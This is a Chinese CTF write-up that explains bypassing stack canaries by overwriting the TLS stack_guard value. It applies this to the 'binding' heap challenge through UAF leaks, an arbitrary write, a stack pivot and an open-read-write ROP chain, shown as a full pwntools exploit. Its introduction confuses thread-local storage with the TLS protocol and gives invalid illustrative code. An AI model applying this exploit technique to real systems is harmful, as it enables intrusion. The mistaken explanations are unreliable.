劫持TLS绕过canary && 堆和栈的灵活转换

引入：什么是TLScanary？

TLScanary 是一种在 Pwn（主要是二进制漏洞利用）中常见的技术，专门用于处理 TLS 保护的二进制文件。在安全竞赛（例如 CTF）和漏洞利用场景中，攻击者需要应对目标程序的多层安全机制，其中 TLS 是一种常见的保护措施。TLScanary 结合了 TLS 协议与堆栈保护（stack canary）技术，增加了攻击难度。

可见TLS和canary有着不可分割的关系

介绍：TLS的基本概念（pwn canary中）

• TLS 是一种用于在线程本地存储数据的机制。每个线程都有自己的 TLS 区域，用于存储与该线程相关的特定数据。
• 在堆栈保护方面，TLS 常被用于存储堆栈 canary 值，这是一种防止缓冲区溢出攻击的安全措施。
• 堆栈 canary 是一种在函数返回地址之前插入的特殊值，用于检测堆栈溢出。如果缓冲区溢出覆盖了 canary 值，程序会在返回前检测到不一致，并终止执行，防止恶意代码执行。

其实对于多线程的canary来说，每个线程的canary都是独立存在的，当一个线程被创建时，操作系统会为该线程分配一个独立的 TLS 区域。这个区域通常通过某种线程控制块（TCB）来管理，每个线程都有一个独立的 TCB。

在多线程环境中，每个线程的堆栈上都会有一个独立的 canary 值。操作系统或运行时库在为每个线程分配堆栈时，会在堆栈的适当位置插入一个 canary 值。

一个示例代码

void* thread_function(void* arg) {     // 每个线程有自己独立的 TLS 区域     __thread int thread_local_variable = 0;      // 在函数入口处插入 canary 值     unsigned long canary_value = generate_random_canary();      // 检查 canary 值是否被修改     if (canary_value != expected_canary_value) {         terminate_program();     }      // 线程的实际工作     // ...      return NULL; }  int main() {     pthread_t threads[NUM_THREADS];      // 创建多个线程     for (int i = 0; i < NUM_THREADS; i++) {         pthread_create(&threads[i], NULL, thread_function, NULL);     }      // 等待所有线程完成     for (int i = 0; i < NUM_THREADS; i++) {         pthread_join(threads[i], NULL);     }      return 0; }

struct pthread结构体

#include <stddef.h> // 为了使用 size_t  /* Definition of the tcbhead_t structure (hypothetical) */ typedef struct {     // 定义线程控制块头部结构体     // 可以根据实际情况进行定义     // 例如：线程 ID、状态信息等     int thread_id;     // 其他相关信息 } tcbhead_t;  /* Define the pthread structure */ struct pthread { #if !TLS_DTV_AT_TP     /* This overlaps the TCB as used for TLS without threads (see tls.h).  */     tcbhead_t header; // 可能与 TLS 相关的头部信息 #else     struct {         // 更复杂的结构体定义         // 可能包含与 TLS 相关的更多详细信息         // ...     } header; #endif      /* Extra padding for alignment and potential future use */     void *__padding[24]; // 填充数组，用于对齐和可能的未来扩展 };

看见看到struct pthread结构的第一个字段是tcbhead_t

tcbhead_t 结构体的解析：

typedef struct {     void *tcb;            /* 指向线程控制块（TCB）的指针 */     dtv_t *dtv;           /* 线程特定数据的指针 */     void *self;           /* 指向线程描述符的指针 */     int multiple_threads; /* 标识是否有多个线程 */     int gscope_flag;      /* 全局作用域标志 */     uintptr_t sysinfo;    /* 系统信息 */     uintptr_t stack_guard;/* 堆栈保护 */     uintptr_t pointer_guard; /* 指针保护 */      /* 其他可能的字段... */ } tcbhead_t;

其中stack_guard里面放的就是单线程的canary，通常可以通过覆盖它的内容来达到绕过canary保护的目的

一道题目的引入

刚好对于上一篇留下的问题，题目：binding

题目保护情况

64位ida载入

初看时是个堆题

 

add函数申请大小有限制，一次创建两个堆块，calloc申请堆块

edit函数，白给任意地址写一个字节（因为unsigned __int8类型指针占一个字节），有溢出不多，可以迁移

free函数，明显的UAF漏洞可以泄露地址

show函数

开了沙箱，只能orw

📍思路：1.通过UAF漏洞泄露heap地址和libc地址

2.通过任意地址写劫持stack_guard来绕过canary保护

3.通过栈迁移迁移到heap上，执行rop链

EXP：

from pwn import * context(log_level='debug',arch='amd64',os='linux')  libc =ELF('./libc-2.31.so')  #io = process('./binding') io = remote('node5.buuoj.cn',26892) def add(index,size,content):     io.sendlineafter('choice:','1')     io.sendlineafter('Idx:',str(index))     io.sendlineafter('Size:',str(size))     io.sendafter('Content:',content)    def edit(index,content1,content2):     io.sendlineafter('choice:','2')     io.sendafter('Idx:',index)     io.sendafter('context1: ',content1)     io.sendafter('context2: ',content2)   def show(rw,index):     io.sendlineafter('choice:','3')     io.sendlineafter('choice:',rw)     io.sendlineafter('Idx:',str(index))    def free(index):     io.sendlineafter('choice:','4')     io.sendlineafter('Idx:',str(index))     #gdb.attach(io) for i in range(6):     add(i,0x100,'a')  for i in range(1,5):     free(i)  #gdb.attach(io) show('0',2) io.recvuntil(': ') heap_base = u64(io.recv(6).ljust(8,b'x00')) - 0x5d0 success('heap_base----->'+hex(heap_base))  #gdb.attach(io) show('1',4) io.recvuntil(': ') libc_base = u64(io.recv(6).ljust(8,b'x00'))  - 96 - 0x10 -libc.sym['__malloc_hook'] success('libc_base----->'+hex(libc_base)) TLS = libc_base + 0x1f3568 success('TLS----->'+hex(TLS)) pause()  pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret leave_ret = libc_base + 0x00000000000578c8 # leave ; ret  #gdb.attach(io) orw_payload = p64(pop_rdi) + p64(heap_base + 0x1010)+p64(pop_rsi) + p64(0)+p64(pop_rdx)+p64(0) +p64(libc.sym['open']+libc_base) orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x200)  orw_payload += p64(pop_rdx) + p64(0x30) + p64(libc.sym['read']+libc_base) orw_payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x200) + p64(pop_rdx) + p64(0x30) orw_payload += p64(libc.sym['write']+libc_base)  orw_payload = orw_payload.ljust(0xb0,b'a') orw_payload += b'./flagx00x00'  add(6,0x120,orw_payload)  payload = b'0'.ljust(0x28, b'x00') + p64(0) + p64(heap_base+0xf58) + p64(leave_ret) edit(payload,p64(TLS),b'x00'*8)   io.interactive()